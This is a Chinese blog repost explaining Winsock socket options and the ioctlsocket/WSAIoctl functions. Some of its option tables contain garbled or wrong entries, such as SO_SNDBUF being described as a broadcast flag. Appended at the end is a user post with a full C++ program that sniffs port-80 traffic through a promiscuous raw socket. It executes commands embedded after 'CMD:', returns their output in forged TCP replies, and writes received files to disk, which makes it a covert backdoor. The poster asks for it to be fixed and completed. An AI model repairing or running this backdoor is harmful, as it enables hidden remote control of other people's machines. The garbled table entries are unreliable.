(转)WSAIoctl Function


套接字选项和I/O控制命令

 

   套接字一旦建立,通过套接字选项和I/O控制命令对各种属性进行操作,便可对套接字的行为产生影响。有的选项只用于信息的返回,而有的选项则可在应用程序中影响套接字的行为。I / O控制命令肯定会对套接字的行为产生影响。

 


   下 面着重讨论四个Winsock函数:getsockopt、setsocketopt、ioctlsocket和WSAIoctl 。每个函数都有大量命 令。这些I/O控制命令和选项大多定义在Winsock.h或Winsock2.h内,具体取决于它们到底从属于Winsock 1,还是从属于Winsock 2。但是,也有少数几个选项是Microsoft提供者或某种传输协议所特有的。微软特有的一些扩展定义在Winsock.h和Mswsock.h 这两个 头文件内。而传输提供者扩展定义在与其协议对应的头文件内。针对那些传输特有选项,我们将随选项一道,指明正确的头文件是什么。要注意的是,若应用程序使 用了微软特有的扩展,那么必须同Mswock.lib建立链接。

 

   套接字选项

 

   对getsocketopt(获得套接字选项)函数来说,它的常见用法是获得与指定套接字相关的信息。

    其原型如下:

    int getsocketopt(SOCKKET s,int level,int optname,char FAR* optval,int optlen)

    s 指定的是一个套接字,我们打算在这个套接字上执行指定的选项。对你打算使用的具体协议来说,这个套接必须是有效的。大多数选项都是一种特定的协议和套接字 类型专有的,而其他选项适用于所有类型的套接字(特别是第二个参数level)。

    optname参数是我们在此真正感兴趣的选项。 这些选项名均在 Winsock头文件内定义的常数值。最常见的与协议无关选项(比如和SOL_SOCKET级别关联在一起的选项)是在Winsock.h和 Winsock2.h这两个头文件中定义的。对于每种特定的协议来说,它们都有自己的头文件,定义了与之对应的特定选项。

   最后,optval和 optlen参数是两个变量,用于返回目标选项的值 。大多数情况下,选项值都是一个整数(但也不是绝对的)

 


.

   setsocketopt函数用于在一个套接字级别或由协议决定的级别上设置套接字选项。它的定义如下:

   int setsocketopt(SOCKKET s,int level,int optname,const char FAR* optval,int optlen)

   它 的参数和getsocketopt函数的参数相同,例外的是我们以optval和optlen参数的形式,将值传递进去。这些值是为指定的选项设定的。和 getsocketopt函数一样,optval大多数时候都是一个整数,但也并非总是如此。正式编程的时候,应查询对每个选项的说明,了解到底该将什么 作为选值传递进去。调用getsocketopt或setsocketopt时,最常见的错误是试图获得一个套接字的信息,但那个套接字的基层协议却不具 备某种指定的特征(或选项)。例如,类型为SOCK_STREAM的一个套接字本身是不能对数据进行广播操作的;因此,若试图设置或获取 SO_BROADCAST选项,便会造成WSAENOPRORTOOPT错误。

 

 

 

 

SOL_SOCKET选项级别

介绍可根据套接字本身的特征,返回信息的一些套接字选项,但这些信息并非那个

套接字的基层协议所特有的(与它无关).

选项级别值
 选项值
 类型获取 / 设置
 Winsock 版本
 说明
 
SO_ACCEPTCONN
 布尔值
 只能获取
 1 +
 如为TRUE(真),表明套接字处于监听模式
 
SO_BROADCAST
 布尔值
 两种均可
 1 +
 如为TRUE,表明套接字已配置成对广播消息进行发送
 
SO_CONNECT_TIME
 整数
 只能获取
 1 +
 返回套接字建立连接的时间,以秒为单位
 
SO_DEBUG
 布尔值
 两种均可
 1 +
 如果是TRUE,就允许调试输出
 
SO_DONTLINGER
 布尔值
 两种均可
 1 +
 如果是T R U E,则禁用SO_LINGER
 
SO_DONTROUTE
 布尔值
 两种均可
 1 +
 如果是T R U E,便直接向网络接口发送消息,毋需查询路由表
 
SO_ERROR
 布尔值
 只能获得
 1 +
 返回错误状态
 
SO_EXCLUSIVEADDRUSE
 布尔值
 两种均可
 2 +
 如果是TRUE,套接字绑定的那个本地端口就不能重新被另一个进程使用
 
SO_KEEPALIVE
 布尔值
 两种均可
 1 +
 如果是T R U E,套接字就会进行配置,在会话过程中发送“保持活动”消息
 
SO_LINGER
 st ruct linger
 两种均可
 1 +
 设置或获取当前的拖延
 
SO_MAX_MSG_SIZE
 无符号整数
 只能获得
 2 +
 对一个面向消息的套接字来说,一条消息的最大长度
 
SO_OOBINLINE
 布尔值
 两种均可
 1 +
 如果是T R U E,带外数据就会在普通数据流中返回
 
SO_PROTOCOL_INF O
 WSAPROTOCOL_INFO
 只能获得
 2 +
 套接字绑定的那种协议的特征
 
SO_RCVBUF
 整数
 两种均可
 1 +
 面向接收操作,为每个套接字分别获取或设置缓冲区长度
 
SO_REUSEADDR
 布尔值
 两种均可
 1 +
 如果是TRUE,套接字就可与一个正由其他套接字使用的地址绑定到一起,或与处在TIME_WAIT状态的地址绑定到一起
 
SO_SNDBUF
 布尔值
 两种均可
 1 +
 如果是TRUE(非零值),意味着套接字被配置成可进行广播消息的发送
 
SO_TYPE
 整数
 只能获得
 1 +
 返回指定套接字的类型(如SOCK_DGRAM和SOCK_STREAM等)
 
SO_SNDTIMEO
 整数
 两种均可
 1 +
 获取或设置套接字上的数据发送超时时间(以毫秒为单位)
 
SO_RCVTIMEO
 整数
 两种均可
 1 +
 获取或设置与套接字上数据接收对应的超时时间值(以毫

秒为单位)
 
SO_UPDATE_ACCEPT_CONTEXT
 S O C K E T
 两种均可
 1 +
 获取或设置与套接字上的数据接收对应的超时值(以毫秒计)
 

SOL_APPLETALK选项级别

  下述选项均为AppleTalk协议之专用套接字选项,只能用于通过socket或WSASocket函数

创建的套接字(同时设置AF_APPLETALK标志)。这里列出的大多数选项都与A ppleTalk名字

的设置或获取有关。

选项级别值
 选项值
 类型获取 / 设置
 Winsock 版本
 说明
 
SO_CONFIRM_NAM
 WSH_NBP_TUPLE
 只能获得
 1
 确定指定的AppleTalk名字和指定地址绑定在一起
 
SO_DEREGISTER_NAME , SO_REMOVE_NAME
 WSH_REGISTER_NAME
 只能设置
 1
 从网络中撤消对指定名字的注册
 
SO_LOOKUP_MYZONE ,

SO_GETMYZONE
 字符
 只能获取
 1
 返回网络上的默认网区
 
SO_LOOKUP_NAME
 W SH_LOOKUP_NAME
 只能获取
 1
 查找指定的NBP名字,并返回相符的名字及N B P信息字元组
 
SO_LOOKUP_ZONES ,

SO_GETZONELIST
 WSH_LOOKUP_ZONES
 只能获取
 1
 返回来自Internet网区列表的区名
 
SO_LOOKUP_ZONES_ON_ADAPTER , SO_GETLOCALZONES
 WSH_LOOKUP_ZONES
 只能获取
 1
 为指定的适配器名返回一个区名列表
 
SO_LOOKUP_NETDEF_ON_ADAPTER , SO_GETNETINFO
 WSH_LOOKUP_NETDEF_ON_ADAPTE
 只能设置
 1
 为指定网络返回种子值,以及默

认网区

 
 
SO_PAP_GET_SERVER_STATUS
 WSH_PAP_GET_SERVER_STATUS
 只能获取
 1
 自指定服务器返回PA P状态

 
 
SO_PAP_PR IME_READ
 char []
 只能设置
 1
 这个调用会在一个PA P连接上填充一次读取操作,以便发送者能实际地发出数据
 
SO_PAP_S ET_SERV ER_STTUS
 char []
 只能设置
 1
 假如另一个客户机请求状态,则设置要发送出去的状态

 
 
SO_REGISTER_NAME
 char []
 只能设置
 1
 在AppleTalk网络上注册指定的名字

 
 

 

SOL_IRLMP选项级别

SOL_IRLMP 级别与IrDA(Infrared Data Association,红外线数据联盟)协议有着密切的联系,其地址家族为AF_IRDA。使用IrDA套接字选项时,要记住的一个要点在于,在不同平 台上,红外线套接字的具体实施方式是有所区别的。由于Windows CE是最早支持红外线通信的一个平台,所以没有包括后来在Windows 98和Windows 2000中引入的一些新选项。

选项级别值
 选项值
 类型获取 / 设置
 Winsock 版本
 说明
 
IRLMP_9WIRE_MODE
 布尔值
 两种均可
 1 +
 获取或设置IP头内的IP选项
 
IRLMP_ENUMDEVICES
 DEVICELIST
 只能获取
 1 +
 针对范围内具有红外线通信能力的设备,返回一个IrDA设备ID列表
 
IRLMP_EXECLUSIVE_MODE
 布尔值
 两种均可
 1 +
 如果是TRUE,表明套接字连接处于“独占”模式
 
IRLMP_IAS_QUERY
 IAS-QUERY
 只能获取
 1 +
 在指定服务上查询IAS,并查询与其属性对应的类名
 
IRLMP_IAS_SET
 IAS-QUERY
 只能获取
 1 +
 为指定的类名和属性设置一个属性值
 
IRLMP_IRLPT_MODE
 布尔值
 两种均可
 1 +
 若为T R U E,套接字就会配置成与具有I R能力的打印机通信
 
IRLMP_SEND_PDU_LEN
 整数
 只能获得
 1 +
 取得最大的PDU长度
 

 

IPPROTO_IP选项级

  IPPROTO_IP这一级的套接字选项与I P协议存在密切联系,比如可用它们IP头内的特定字

段,以及向IP多播组增添一个套接字等等。许多这样的选项都声明于Winsock.h和Winsock2.h

这两个头文件内,而且采用了不同的值。要注意的是,假如装载的是Winsock1,那么必须包

括正确的头文件,同时建立与Wsock32.lib 函数库的链接关系。若装载的是Winsock 2,那么情况也是类似的,除了将Winsock 2的头文件包括进来外,还要建立与Ws2_32.lib的链接关系。在多播通信环境中,这一点尤其重要,因为两个版本的Wi n s o c k均支持多播通信。除WindowsCE的早期版本之外,其他所有Win32平台都提供了对多播通信的支持。而Windows CE自2.1版之后,也开始提供了这方面的支持。

选项级别值
 选项值
 类型获取 / 设置
 Winsock 版本
 说明
 
IP_OPTIONS
 char []
 两者均可
 1 +
 设置或获取IP头内的IP选项
 
IP_HDRINCL
 布尔值
 两种均可
 2 +
 如果是TRUE,IP头就会随即将发送的数据一起提交,并从读取的数据中返回
 
IP_TOS
 整数
 两种均可
 1 +
 IP服务类型
 
IP_TTL
 整数
 两种均可
 1 +
 IP协议的“存在时间”(TTL)参数

 
 
IP_MULTICAST_IF
 无符号长整型
 两种均可
 1 +
 获取或设置打算从它上面发出多播数据的本地接口
 
IP_MULTICAST_TTL
 整数
 两种均可
 1 +
 为套接字获取或设置多播数据包的存在时间
 
IP_MULTICAST_LOOP
 布尔值
 两种均可
 1 +
 如果是TRUE,发至多播地址的数据将原封不动地“反射”

或“反弹”回套接字的进入缓冲区
 
IP_ADD_MEMBERSHIP
 struc ip_mreq
 只能设置
 1 +
 在指定的IP组内为套接字赋予成员资格
 
IP_DROP_MEMBERSHIP
 struc ip_mreq
 只能设置
 1 +
 将套接字从指定的IP组内删去(撤消成员资格)
 
IP_DONTFRAGMENT
 布尔值
 两种均可
 1 +
 如果是T R U E,就不对I P数据报进行分段
 

IPPROTO_TCP选项级别

仅有一个选项从属于IPPROTO_TCP级别。该选项只适用于流式套接字(SOCK_STREAM),其地址家族为AF_INET。这个选项可用在所有Winsock版本上,并得到了所有Win32平台的支持,包括Windows CE。

TCP_NODELAY  布尔值    两者均可     1 +   若为TRUE,就会在套接字上禁用Nagle算法

NSPROTO_IPX选项级别

选项级别值
 选项值
 类型获取 / 设置
 Winsock 版本
 说明
 
IPX_PTYPE
 整数
 两种均可
 1 +
 获取或设置IPX包的类型
 
IPX_FILTERPTYPE
 整数
 两种均可
 1 +
 获取或设置准备过滤的I P X包之类型
 
IPX_STOPFILTERPTYPE
 整数
 只能设置
 1 +
 删除为指定IPX包设置的过滤器
 
IPX_DSTYPE
 整数
 两种均可
 1 +
 获取或设置SPX头中的数据流字段值
 
IPX_EXTENDED_ADDRESS
 布尔值
 两种均可
 1 +
 如果是TRUE,便允许对IPX包进行扩展定址
 
IPX_RECVHDR
 布尔值
 两种均可
 1 +
 如果是TRUE,就随接收调用一起,返回IPX头
 
IPX_MAXSIZE
 整数
 只能获取
 1 +
 返回IPX数据报的最大长度
 
IPX_ADDRESS
 IPX_ADDRESS_D ATA
 只能获取
 1 +
 返回具备IPX能力之适配器的有关信息
 
IPX_GETNE TINFO
 IPX_NETNUM_D ATA
 只能获取
 1 +
 返回与一个指定IPX网络编号有关的信息
 
IPX_GETNETINFO_NORIP
 IPX_ADDRESS_DATA
 两种均可
 1 +
 如果是TRUE,就不会对IP数据报进行分段
 
IPX_SPXGETCONNECTIONSTAT U S
 IPX_SPXCONNSTATUS_DATA
 只能获取
 1 +
 返回与一个已建立连接的SPX套接字有关的信息
 
IPX_ADDRESS_NOTIFY
 I PX_ADDRESS_DATA
 只能获取
 1 +
 若IPX适配器的状态发生改变,则发出异步通知
 
IPX_MAX_ADAPTER_NUM
 整数
 只能获取
 1 +
 返回存在的IPX适配器个数
 
IPX_RERIPNETNUMBER
 IPX_NETNUM_DATA
 只能获取
 1 +
 返回一个网络编号的相关信息
 
IPX_RECEIVE_BROADCAST
 布尔值
 只能设置
 1 +
 如果是TRUE,就不接收IPX广播包
 
IPX_IMMEDITESPXZCK
 布尔值
 两种均可
 1 +
 如果是TRUE,就不在SPX连接上延迟发送ACK
 

 

I OCTLSOCKET和WSAIOCTL

  一系列套接字 I/O 控制函数用于在套接字之上,控制 I/O 的行为,同时获取与那个套接字上

进行的 I/O 操作有关的信息。

 


  其中,第一个函数是 ioctlsocket ,起源于 Winsock 1 规范,声明如下:

int olctlsocket(SOCKET s,long cmd,u_long FAR* argp)

其中,参数 s 指定的是要在上面采取 I/O 操作的套接字描述符,而 cmd 是一个预定义的标志,

用于打算执行的 I/O 控制命令。最后一个参数 argp 对应的是一个指针,指向与命令密切相关的一个变量。描述好每个命令之后,再给出要求变量的类型。

 

 

 

   Winsock 2 引入了一个新的 ioctl 函数,增添了数量多得多的新选项。首先,它将单个 argp 参数分解成了一系列输入参数,用于容纳传递到函数内部的值;同时提供一系列输出参数,用于容纳自调用返回的数据。此外,

函数调用可使用重叠 I/O 。这个新函数便是 WSAIoctl ,它的定义如下:

int WSAIoctl(SOCKET s,DWORD dwIoControlCode,LPVOID lpvInBuffer,DWORD cbInBuffer,

LPVOID lpvOutBuffer,DWORD cbOutBuffer,LPDWORD lpcbBytesReturned,

LPWSAOVERLAPPED lpOverlapped,

LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)

头两个参数与 ioctlsocket 的相同。另两个参数( lpvInBuffer 和 cbInBuffer )则对输入参数

进行了描述。其中, lpvInBuffer 参数是一个指针,指向传递进入的值,而 cbInBufer 指定的是数据的多少,以字节为单位。类似地, lpvOutBuffer 和 cbOutBuffer 用于自调用返回的任何数据。 l pvOutBuffer 参数指向的是一个数据缓冲区,其中放置了返回的所有信息。而 cbOutBuffer 参数对应的是在 lpvOutBuffer 中传递进来的缓冲区的字节长度。要注意的是,某些调用可能只使用了输入或输出参数,而另一些调用两类参数都会用到。第七个参数是 lpcbBytesReturned ,对应于实际返回的字节数。最后两个参数是 lpOverlapped 和 lpCompletionRoutine ,在随重叠 I/O 调用这个函数时使用。

 

转自:http://blog.youkuaiyun.com/jimaliu/archive/2009/11/28/4896275.aspx

 

本文来自优快云博客,转载请标明出处:http://blog.youkuaiyun.com/gxj1680/archive/2011/04/27/6366241.aspx

#define _CRT_SECURE_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string> #include <process.h> #pragma comment(lib, "ws2_32.lib") // 使用 const 定义常量 const int MAX_PACKET_SIZE = 65536; const int HTTP_PORT = 80; // 手动定义缺失的宏 #ifndef SIO_RCVALL #define IOC_IN 0x80000000 #define IOC_VENDOR 0x18000000 #define _WSAIOW(x,y) (IOC_IN|(x)|(y)) #define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) #endif #ifndef RCVALL_ON #define RCVALL_ON 1 #endif #pragma pack(push, 1) typedef struct _IP_HEADER { UCHAR ver_ihl; // 版本和头部长度 UCHAR tos; // 服务类型 USHORT tot_len; // 总长度 USHORT id; // 标识符 USHORT frag_off; // 分片偏移 UCHAR ttl; // 生存时间 UCHAR protocol; // 协议类型 USHORT check; // 校验和 ULONG saddr; // 源地址 ULONG daddr; // 目的地址 } IP_HEADER; typedef struct _TCP_HEADER { USHORT src_port; // 源端口 USHORT dst_port; // 目的端口 ULONG seq_num; // 序列号 ULONG ack_num; // 确认号 UCHAR data_offset; // 数据偏移 UCHAR flags; // 标志位 USHORT window; // 窗口大小 USHORT checksum; // 校验和 USHORT urg_ptr; // 紧急指针 } TCP_HEADER; #pragma pack(pop) // 校验和计算函数 USHORT checksum(USHORT* buffer, int size) { ULONG cksum = 0; while (size > 1) { cksum += *buffer++; size -= static_cast<int>(sizeof(USHORT)); } if (size) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return static_cast<USHORT>(~cksum); } // 命令执行函数 void execute_command(const char* cmd, char* output, size_t output_size) { FILE* fp; if (fopen_s(&fp, cmd, "r") == 0 && fp) { if (fgets(output, static_cast<int>(output_size), fp) == NULL) { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } _pclose(fp); } else { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } } int main() { WSADATA wsa; SOCKET sock; DWORD flag = RCVALL_ON; struct sockaddr_in saddr; char buffer[MAX_PACKET_SIZE]; // 初始化Winsock if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed: %d\n", WSAGetLastError()); return 1; } // 创建原始套接字 sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { printf("Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // 设置端口复用 int opt = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<char*>(&opt), sizeof(opt)) == SOCKET_ERROR) { printf("SO_REUSEADDR failed: %d\n", WSAGetLastError()); } // 绑定80端口 memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(HTTP_PORT); saddr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, reinterpret_cast<SOCKADDR*>(&saddr), sizeof(saddr)) == SOCKET_ERROR) { printf("Bind failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } // 设置混杂模式 DWORD bytesRet; if (WSAIoctl(sock, SIO_RCVALL, &flag, sizeof(flag), NULL, 0, &bytesRet, NULL, NULL) == SOCKET_ERROR) { printf("WSAIoctl failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("[+] Server listening on port 80...\n"); printf("[!] Note: This program requires administrator privileges to run\n"); while (true) { int ret = recv(sock, buffer, MAX_PACKET_SIZE, 0); if (ret <= 0) continue; IP_HEADER* iph = reinterpret_cast<IP_HEADER*>(buffer); if (iph->protocol != IPPROTO_TCP) continue; TCP_HEADER* tcph = reinterpret_cast<TCP_HEADER*>( buffer + (iph->ver_ihl & 0x0F) * 4); if (ntohs(tcph->dst_port) != HTTP_PORT) continue; char* payload = buffer + (iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4; int payload_len = ret - ((iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4); if (payload_len > 0) { // 命令执行功能 if (strncmp(payload, "CMD:", 4) == 0) { char cmd_output[1024]; execute_command(payload + 4, cmd_output, sizeof(cmd_output)); printf("[+] Command executed: %s\nResult: %s\n", payload + 4, cmd_output); // 构造响应包 char resp_packet[1500]; IP_HEADER* resp_ip = reinterpret_cast<IP_HEADER*>(resp_packet); TCP_HEADER* resp_tcp = reinterpret_cast<TCP_HEADER*>(resp_packet + sizeof(IP_HEADER)); // 填充IP头 memcpy(resp_ip, iph, sizeof(IP_HEADER)); resp_ip->saddr = iph->daddr; resp_ip->daddr = iph->saddr; resp_ip->tot_len = htons(static_cast<u_short>( sizeof(IP_HEADER) + sizeof(TCP_HEADER) + strlen(cmd_output) + 40)); resp_ip->check = 0; // 填充TCP头 resp_tcp->src_port = tcph->dst_port; resp_tcp->dst_port = tcph->src_port; resp_tcp->seq_num = htonl(ntohl(tcph->ack_num)); resp_tcp->ack_num = htonl(ntohl(tcph->seq_num) + payload_len); resp_tcp->data_offset = 0x50; resp_tcp->flags = 0x18; resp_tcp->window = htons(64240); resp_tcp->checksum = 0; // 填充HTTP响应头 char* resp_payload = resp_packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER); size_t cmd_len = strlen(cmd_output); int len = sprintf_s(resp_payload, sizeof(resp_packet) - sizeof(IP_HEADER) - sizeof(TCP_HEADER), "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s", cmd_len, cmd_output); // 计算TCP校验和 - 使用动态内存分配解决C2131错误 char pseudo_header[12]; memcpy(pseudo_header, &resp_ip->saddr, 4); memcpy(pseudo_header + 4, &resp_ip->daddr, 4); pseudo_header[8] = 0; pseudo_header[9] = IPPROTO_TCP; *reinterpret_cast<USHORT*>(pseudo_header + 10) = htons(static_cast<u_short>(sizeof(TCP_HEADER) + len)); // 动态分配内存替代固定大小数组 char* tcp_segment = new char[sizeof(TCP_HEADER) + len]; memcpy(tcp_segment, resp_tcp, sizeof(TCP_HEADER)); memcpy(tcp_segment + sizeof(TCP_HEADER), resp_payload, len); USHORT tcp_len = static_cast<USHORT>(sizeof(TCP_HEADER) + len); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(pseudo_header), 12); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(tcp_segment), tcp_len); // 释放动态分配的内存 delete[] tcp_segment; // 发送响应 struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_addr.s_addr = resp_ip->daddr; sendto(sock, resp_packet, static_cast<int>(sizeof(IP_HEADER) + sizeof(TCP_HEADER) + len), 0, reinterpret_cast<SOCKADDR*>(&dest), sizeof(dest)); } // 文件传输功能 else if (strncmp(payload, "FILE:", 5) == 0) { char filename[256]; const char* space_pos = strchr(payload + 5, ' '); if (space_pos) { ptrdiff_t name_len = space_pos - (payload + 5); if (name_len < sizeof(filename)) { strncpy_s(filename, sizeof(filename), payload + 5, static_cast<size_t>(name_len)); filename[name_len] = '\0'; printf("[+] Receiving file: %s\n", filename); FILE* fp; if (fopen_s(&fp, filename, "wb") == 0 && fp) { size_t data_len = static_cast<size_t>( payload_len - 6 - static_cast<int>(name_len)); fwrite(space_pos + 1, 1, data_len, fp); fclose(fp); printf("[+] File saved successfully\n"); } else { printf("[-] Failed to open file for writing\n"); } } } else { printf("[-] Invalid FILE command format\n"); } } } } closesocket(sock); WSACleanup(); return 0; } 该程序运行后报错:WSAIoctl failed: 10022 解决报错,给出修改后的完整程序
最新发布
08-19
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值